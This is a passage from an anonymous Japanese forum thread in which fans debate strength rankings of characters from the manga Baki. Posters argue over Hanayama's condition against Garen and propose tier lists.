07/11/10 23:54:43 qi812S7F0
花山の瀕死を強さ議論の比較として使っていいのなら再起不能ドリアンには勝てるだろうということを以って
全盛期ドリアンに負けたものたちより上にしてもいってことになってしまうしな。

123:名無しさんの次レスにご期待下さい
07/11/10 23:54:55 iyVycToy0
こういう強さランクは基本「最強状態」
を指すんじゃないの？死んじゃったキャラなんかどうするよ。
（バキには明確に死んだキャラって殆どいないけど）

124:名無しさんの次レスにご期待下さい
07/11/10 23:56:23 0EaHmjYi0
シコルはやられ方があまりに一方的すぎたからな。

125:名無しさんの次レスにご期待下さい
07/11/10 23:57:00 MctqKMQR0
>>123
だなー、作中におけるもっともベストな状態でいいと思う

126:名無しさんの次レスにご期待下さい
07/11/10 23:57:33 D3l1MpDt0
>>122
具体的に花山が瀕死で実力を発揮できていなかったという描写がないだろ。
殴った花山自身や花山がのされた後の千春の反応からも、
花山の実力が極端に下がっていた為、普段とは比較にもならないヘボイパンチだった

とはいえないだろうし、頭ぶつけて気絶したってことは脳震盪だから、克己の打撃関係なくね？

127:名無しさんの次レスにご期待下さい
07/11/11 00:00:08 cE5a8dL/0
>>126
花山のファイターとしての特性は、タフネスだからな。
万全の花山が一撃で沈むことは、ありえない時点で、タフネスの崩壊が影響しているだろう。

それに花山のパンチを受けてガーレンはフラっとなってグラついている。
きちんと擬音まで描かれているぞ。

128:名無しさんの次レスにご期待下さい
07/11/11 00:01:12 8iUnlf7Y0
>>109
鎬兄弟には悪いがモチベーションが下がりまくってて本来の自分を見失ってたと考える
のが妥当だろう。烈戦前までだと克巳の音速拳が見えてないし、克巳にも負けそうな勢い
だったからね。
だからこそ烈戦での急激なパワーアップに首をかしげる人が多く、主人公補正入りすぎ
だと批判が多かった。まあ、本来の実力復活＋妄想シャドー＋範馬の血が補正されると
思えば納得するしかないけど。

129:名無しさんの次レスにご期待下さい
07/11/11 00:02:19 eb27i8H10
花山とガーレンは
花山（今）＞＞ガーレン＞＞花山（最ト）でいいだろ
ガーレンは死刑囚編入る前に脱落したんだよ
ガーレンはこれ以上のインフレに付いていけませんよっていう板垣のメッセージだ

死刑囚のかませにされたガーレンと死刑囚をかませにした花山とじゃ差は明白だよ

130:名無しさんの次レスにご期待下さい
07/11/11 00:02:35 JLuM/jKM0
アレって驚異的なタフネスを誇る花山を一撃でのすガーレンすげーって演出じゃないの・・・

131:名無しさんの次レスにご期待下さい
07/11/11 00:03:10 wBYaoMwz0
まぁでもあの時のシコルは弱くて当然だと思うよ。
連戦の疲労やダメージ以上に、明らかに相手に一方的にやられた直後に
別の相手と戦うなんて、戦闘のモチベーションとしては限りなく最低な状況でしょ。
シコルは柳と二人でバキにやられた後、花山に「やらねぇよ」って言われたときも
仮にやったとしても絶対勝てなそうな雰囲気だったし。

132:名無しさんの次レスにご期待下さい
07/11/11 00:03:10 AfMuf7vdO
例え一番強い時でもオリバは
渋川、ジャック、ドイル、柳、柳師匠、バキ、勇次郎には勝てない。

体重半分以下の相手？俺なら30キロ？絶対負けねーよw

133:名無しさんの次レスにご期待下さい
07/11/11 00:04:44 wBYaoMwz0
>>129
そう考えるのが一番妥当なのになぜかいつまでたっても認めないやつがいるんだよな

134:名無しさんの次レスにご期待下さい
07/11/11 00:04:58 C1mxpSeo0
>>112 >>122
というか、瀕死ってのは無呼吸打撃でボコボコにされて、
一発殴っただけでぐらりといっちゃうような状態の方が言い得てると思うけど。
VSスペックもノーコンテストだと思うの？

もしあのときの花山が、ぼろぼろで死にかけてるような感じだったら、
殴った瞬間のバキのリアクションなどはおかしいんじゃないだろうか。
千春がガーレンに向かっていったみたいに、もう止めてくれって感じの反応になるんじゃないだろうか。

135:名無しさんの次レスにご期待下さい
07/11/11 00:05:47 qXo9Oo7w0
>>127
だから、花山自身戦えるつもりだったし、実際に戦えてるでしょ。
それと、一撃で沈むことがありえないってのはどうかと思うぞ。
それがいいんなら、勇次郎の鬼の一撃くらってなおたってた独歩が
アライの一撃で倒れるってのはどうなるんだとかいう話になるし。

一撃で沈む可能性は考慮にいれておいてしかるべきだと思うが。

でさっきもいったけどあれタフネスがどうのじゃなくて脳震盪だろ？
花山頭蓋骨骨折とか頚椎損傷とかしてたっけか？
してたんなら確かにあれはタフネスの崩壊がどうのだと思うが

136:名無しさんの次レスにご期待下さい
07/11/11 00:05:50 cE5a8dL/0
何回も言うが瀕死と万全の比較は無意味だよ。
外伝の２回の敗北にカウントされてない時点で強さ議論で勝っただの負けただのと述べても意味がない。

137:名無しさんの次レスにご期待下さい
07/11/11 00:05:55 eb27i8H10
オリバに勝てるキャラは今のとこ範馬一族くらいだ

138:名無しさんの次レスにご期待下さい
07/11/11 00:06:49 cE5a8dL/0
急に単発ＩＤばかりで現れるなよ。
ＩＤ変えられる奴か？

139:名無しさんの次レスにご期待下さい
07/11/11 00:08:05 eb27i8H10
>>138志村ー日付日付

140:名無しさんの次レスにご期待下さい
07/11/11 00:08:23 PXm4ohCt0
>>119
でもアメあげたら復活したり、何気に強かったよな

>>117の意見も踏まえて

F+　トニー・レッセン　ジャガッタ・シャーマン　加納秀明　
F 　ユリー・チャコフスキー栗谷川等　
F- ドリアン（幼児）　

とかどうだ？
あと、猪狩の部下の小川やドイルに切られた奴もＦ候補やオーガに指で倒された奴でＦを争おうぜ

141:名無しさんの次レスにご期待下さい
07/11/11 00:09:05 igM7817L0
花山はバキ１３歳の時からの出演だけあって、成長の過程が描かれてると考えるのが普通。
>>129でいいと思う。
ガーレンはトーナメント時の花山よりは強かったが、所詮かませ犬キャラとして出てきたからね。

142:名無しさんの次レスにご期待下さい
07/11/11 00:09:15 wBYaoMwz0
ID:qi812S7F0＝ID:cE5a8dL/0

こいつにはもう何言っても無駄だからみんな諦めろ。
そもそもみんなあの時の花山を瀕死ではないと言ってるのにいつまでも
「瀕死、瀕死」連呼してるし。

143:名無しさんの次レスにご期待下さい
07/11/11 00:10:20 JLuM/jKM0
勇次郎に鬼を出させたおでん屋さんは？

144:名無しさんの次レスにご期待下さい
07/11/11 00:11:57 qXo9Oo7w0
>>143
ああ、柔道の。

ていうかあの頃の勇次郎は割りと鬼だしまくりだよな。

145:名無しさんの次レスにご期待下さい
07/11/11 00:13:55 cE5a8dL/0
ID:qXo9Oo7w0
ID:C1mxpSeo0

タフネスが崩壊していたんだから殴った瞬間のバキのリアクションは、おかしくないんじゃないのか？
実際、攻撃に関してはガーレンをグラっとさせていたしね。一番の影響は攻撃力より防御力の面だよ。

それに、戦えるつもりだったというなら、アライJrだって戦えるつもりだったから勝負を受けたんじゃないのか？
そして実際に戦えていたじゃん。

146:名無しさんの次レスにご期待下さい
07/11/11 00:15:10 igM7817L0
>>131
加えて肉体的にもかなり痛めつけられた後だから既に戦闘不能に近かった。
目が覚めていきなり戦えとか、あれはいじめ。

147:名無しさんの次レスにご期待下さい
07/11/11 00:16:00 cE5a8dL/0
>>142
瀕死というのは、そちらに合わせたんだけどね。

148:名無しさんの次レスにご期待下さい
07/11/11 00:16:15 75VN2R8B0
真正面からちゃんと殴ってグラっとする程度じゃ、万全でも勝ち目薄だがな。

149:名無しさんの次レスにご期待下さい
07/11/11 00:18:44 cE5a8dL/0
それなら真正面から奥義である正中線四連突きを叩き込んでグラっとさせた程度の克己では勝てないことになるがいいのか？
奥義である以上、単なるパンチの比ではないぞ。

150:名無しさんの次レスにご期待下さい
07/11/11 00:20:06 C1mxpSeo0
>>136
外伝第1回が最トー前の時系列だとすれば、
バキ戦、勇次郎戦の2回で数字は合う。

また、外伝第1回は花山高校時代から3年後とのことだから、
花山がひろしと喧嘩したのはバキ戦後ということも考えられる。
その場合も、克巳戦、ガーレン戦の2回で、数字は合うと思われる。

151:名無しさんの次レスにご期待下さい
07/11/11 00:20:10 HC0WPup2O
しっかし勇ちゃんも小物化したよなぁ
昔のような緊迫感が無いんだよな
烏合の衆だかなんだか知らんが、昔の勇次郎なら｢前菜くらいにはなるな｣とか言って全員ﾎﾞｺってそれからﾋﾟｸﾙと…って感じだったろ

152:名無しさんの次レスにご期待下さい
07/11/11 00:20:11 ehV8INSZO
花山倒して勇次郎にケンカ売った時のガーレンが
ガイアにチクチクされて泣いてた時のシコルに負けるのが無理じゃん
ガーレンは噛ませにされた相手が悪かった

153:名無しさんの次レスにご期待下さい
07/11/11 00:21:32 igM7817L0
>>140
実際やってないから真偽は不明だけど、２人で原発占拠うんぬんを考えると
トニー・レッセンＥ集団下位くらいかな。
ユリーは悲しいがＦランカーだろう。明らかにトーナメントレベルに届いてないし。
花山より多少劣る位の位置付けだった時もあったのにね･･･。

154:名無しさんの次レスにご期待下さい
07/11/11 00:21:56 cE5a8dL/0
>>150
いや、普通に考えてバキと克己だろ。

155:名無しさんの次レスにご期待下さい
07/11/11 00:23:31 unMo3LvP0
おでん屋はB-かC+だろうな

156:名無しさんの次レスにご期待下さい
07/11/11 00:24:34 wBYaoMwz0
おでん屋＝本部
でいいんじゃね？

157:名無しさんの次レスにご期待下さい
07/11/11 00:30:11 5EU8+uZVO
本部＝おでん屋だな

158:名無しさんの次レスにご期待下さい
07/11/11 00:30:26 C1mxpSeo0
>>154
バキ幼年編の花山は15歳。
もしもこのときがひろしと喧嘩後の時系列なら、再戦は18歳の時で、最トーの前。

また外伝第一回の回想シーンの花山には顔面の疵がないことから、
恐らくはひろしとの初戦はバキ幼年編の前であると考えられる。
となれば、ひろしとの再戦時に最トーの話題が出てくるのは明らかにおかしい。

159:名無しさんの次レスにご期待下さい
07/11/11 00:36:00 wKJga6rRO
いい加減気付け
どんなに昔の話しをしても過去は過去でしかない
最トーん時は花山はガーレンに勝てないが今はどう考えても違うだろ
スペックとあれだけの闘いをしたんだから
用は今の強さなんだからガイアもシコルスに勝ったんだから強い
ちゃんと今を見ろ
人の強さは常に変わっていくんだし

160:名無しさんの次レスにご期待下さい
07/11/11 00:36:42 PXm4ohCt0
では、>>153 >>156 >>157の意見を容れて、こうかな？

D+　猪狩完至　金竜山　斗羽正平　楊海王　アイアン・マイケル　サムワン海王　アライ父　
D　ズール　ローランド・イスタス　陳海王
D-　柴千春リチャード・フィルス　セルゲイ・タクタロフ　稲城文之信　除海王　孫海王

E+　加藤清澄　花田純一　本部以蔵（通常）　おでん屋　末堂厚　ロジャー・ハーロン　アンドレアス・リーガン
E　山本稔　ロブ・ロビンソン　ラベルト・ゲラン　セルジオ・シルバ
E-　畑中公平　李猛虎トニー・レッセン　デントラニー・シットハイカー　マイク・クイン

F+　ジャガッタ・シャーマン　加納秀明　
F 　ユリー・チャコフスキーストライダム　栗谷川等　
F-　ドリアン（幼児）

誰か、ドイルにやられた格闘家と、オーガに指殺された格闘家と、バキに軽くあしらわれた海王見習いの名前を教えてくれ

161:ジャック本馬
07/11/11 00:37:59 VEDE1ipIO
オリバとゲバルを下げ烈とジャックを上げると妥当なランクになるぞ１０巻見たが鬼出してたか怪しいうやむやな糞刃牙に自分のやり方で負けたし明らかな技術差であっさりやられたからオリバ下がんの当たり前。あとの理由は前スレの1000レス目を見てくれ。

162:名無しさんの次レスにご期待下さい
07/11/11 00:38:48 igM7817L0
>>159
ちゃっかりガイアが強い事にしたいあたり、例の人ですか？

163:名無しさんの次レスにご期待下さい
07/11/11 00:38:49 wBYaoMwz0
左から　ロブ・ロビンソン　チャモアン　張洋王

164:名無しさんの次レスにご期待下さい
07/11/11 00:41:23 wkrgWEPx0
ゲバルってなんでそんなに評価高いの？
オリバなんてほぼ無傷で勝ったのに

あとアライは後付けで雑魚化したのだから
大蛇克己レベルで十分

165:名無しさんの次レスにご期待下さい
07/11/11 00:41:25 JLuM/jKM0
ごめん　コミックス読み返したらトニー・レッセンじゃなくてカモミール・レッセンだった

D+　猪狩完至　金竜山　斗羽正平　楊海王　アイアン・マイケル　サムワン海王　アライ父　
D　ズール　ローランド・イスタス　陳海王
D-　柴千春リチャード・フィルス　セルゲイ・タクタロフ　稲城文之信　除海王　孫海王

E+　加藤清澄　花田純一　本部以蔵（通常）　おでん屋　末堂厚　ロジャー・ハーロン　アンドレアス・リーガン
E　山本稔　ロブ・ロビンソン　ラベルト・ゲラン　セルジオ・シルバ
E-　畑中公平　李猛虎カモミール・レッセン　デントラニー・シットハイカー　マイク・クイン

F+　ジャガッタ・シャーマン　加納秀明　
F 　ユリー・チャコフスキーストライダム　栗谷川等　
F-　ドリアン（幼児）

修正

166:名無しさんの次レスにご期待下さい
07/11/11 00:42:57 cE5a8dL/0
>>158
花山は１５歳にしてヤクザの組長だったのだから
中学時代にして近隣の高校生の面倒もみてたってことじゃないのか？

167:名無しさんの次レスにご期待下さい
07/11/11 00:45:00 cE5a8dL/0
>>162
まぁ夜中に携帯電話で出てきたあたり、既に花山を貶めるためにＰＣで紛れ込んでるよ。

168:名無しさんの次レスにご期待下さい
07/11/11 00:45:11 C1mxpSeo0
>>145
ガーレン戦時の花山の攻撃力にそれまでの試合の影響が無かったのなら、
>>112
>あの後、万全の花山と殴り合っていたら、グラリではすまなかっただろう。
というわけには行かないのではないか？
そもそも花山は連打をほぼ使わない。

例え万全の状態で闘ったとしても、最トー時の花山では、
一撃入れた後にガーレンスペシャルコンボを喰らって沈んでいたのではないだろうか。
花山は殴られることには慣れていても投げられる経験は少なそうだし、
また受身も全く取らないし。

169:名無しさんの次レスにご期待下さい
07/11/11 00:46:32 C1mxpSeo0
>>166
ということは、ヒロシとの再戦時に最トーの話題が出るのは明らかにおかしい。

170:名無しさんの次レスにご期待下さい
07/11/11 00:48:15 cE5a8dL/0
>>169
再トーは幼年バキと戦ってから何年後だっけ？

171:名無しさんの次レスにご期待下さい
07/11/11 00:48:33 wBYaoMwz0
加納秀明が地下闘技場で最弱クラスってのだけはどうしても納得できない俺。
こいつ夜叉猿より強いでしょ？その時点で最大トーナメントでも１回戦クラスの奴よりは上だと思うんだけど。

172:名無しさんの次レスにご期待下さい
07/11/11 00:48:36 JLuM/jKM0
>>164
>>37
後は旧メンバーシカトしたのにバキは自らゲバルに試合を申し込んだり
バキがNo2ではなく二代目と評価したり色々と理由は用意できる。
あとオリバは無傷じゃないぞ。後日「ミスターゲバルとのダメージは多少残っちゃいるが」ってハッキリ言われてる。

実際アライjrの全盛期っていつだ？バキ戦で覚醒した時？

173:名無しさんの次レスにご期待下さい
07/11/11 00:50:06 C1mxpSeo0
>>170
4年後

174:名無しさんの次レスにご期待下さい
07/11/11 00:51:03 fus+WvBfO
夜叉猿Jr.は？

175:名無しさんの次レスにご期待下さい
07/11/11 00:52:07 igM7817L0
>>171
しかしそういう設定になってるんだから仕方ない。
夜叉猿の動きを見切ってもパワーを考慮すると勝てないんじゃないの？
攻撃下手だし。

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